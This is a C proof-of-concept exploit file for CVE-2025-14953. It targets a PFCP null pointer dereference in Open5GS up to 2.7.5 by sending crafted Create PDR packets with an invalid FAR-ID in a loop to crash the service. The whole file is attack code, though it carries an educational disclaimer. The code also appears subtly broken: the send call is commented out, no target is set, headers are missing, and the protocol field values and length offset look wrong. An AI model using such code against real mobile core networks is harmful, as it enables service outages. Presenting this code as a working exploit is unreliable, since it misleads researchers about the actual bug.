/*
* CVE-2025-14953 PoC - Open5GS PFCP Null Pointer Dereference
* Target: Open5GS <= 2.7.5
* Component: lib/pfcp/handler.c - ogs_pfcp_handle_create_pdr
*
* This PoC demonstrates sending a crafted PFCP Create PDR request
* with a non-existent FAR-ID to trigger null pointer dereference.
*
* Note: This is for educational and security research purposes only.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
// PFCP Header Structure
typedef struct {
uint8_t version:3;
uint8_t flags:5;
uint8_t message_type;
uint16_t length;
uint32_t sequence_number;
uint8_t spare[3];
} pfcp_header_t;
// PFCP Create PDR IE Structure
typedef struct {
uint16_t ie_type;
uint16_t ie_length;
uint8_t data[];
} pfcp_ie_t;
// IE Types
#define PFCP_IE_PDR_ID 1
#define PFCP_IE_FAR_ID 2
// Send crafted PFCP Create PDR packet
int send_crafted_pfcp_packet(int sockfd, uint32_t seq_num) {
// PFCP Header - Version 1, Message Type: Create PDR (0x31)
pfcp_header_t header = {
.version = 1,
.flags = 0,
.message_type = 0x31, // Create PDR
.length = htons(0), // Will be updated
.sequence_number = htonl(seq_num),
.spare = {0}
};
// Create PDR Information Element with invalid FAR-ID
// This triggers null pointer dereference in FAR-ID handler
uint8_t create_pdr_ies[] = {
// PDR ID IE
0x00, 0x01, // IE Type: PDR ID
0x00, 0x02, // IE Length: 2
0x00, 0x01, // PDR ID Value: 1
// FAR ID IE - Pointing to non-existent FAR
0x00, 0x02, // IE Type: FAR ID
0x00, 0x04, // IE Length: 4
0xFF, 0xFF, 0xFF, 0xFF // Invalid FAR-ID (0xFFFFFFFF)
};
// Build complete packet
uint8_t packet[256];
memcpy(packet, &header, sizeof(pfcp_header_t));
memcpy(packet + sizeof(pfcp_header_t), create_pdr_ies, sizeof(create_pdr_ies));
// Update length field
uint16_t total_length = sizeof(pfcp_header_t) + sizeof(create_pdr_ies);
memcpy(packet + 3, &total_length, 2);
// Send packet
// sendto(sockfd, packet, total_length, 0, (struct sockaddr*)&target, sizeof(target));
printf("[*] Sent crafted PFCP Create PDR packet\n");
printf("[*] Sequence Number: 0x%08x\n", seq_num);
printf("[*] PDR ID: 1, FAR ID: 0xFFFFFFFF (invalid)\n");
return 0;
}
int main(int argc, char *argv[]) {
printf("CVE-2025-14953 PoC for Open5GS\n");
printf("Target: Open5GS <= 2.7.5\n");
printf("Vulnerability: Null Pointer Dereference in ogs_pfcp_handle_create_pdr\n\n");
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("Socket creation failed");
return 1;
}
// Send multiple crafted packets
for (uint32_t seq = 0x00000001; seq <= 0x0000000A; seq++) {
send_crafted_pfcp_packet(sockfd, seq);
usleep(100000); // 100ms delay
}
close(sockfd);
printf("\n[*] PoC execution completed\n");
return 0;
}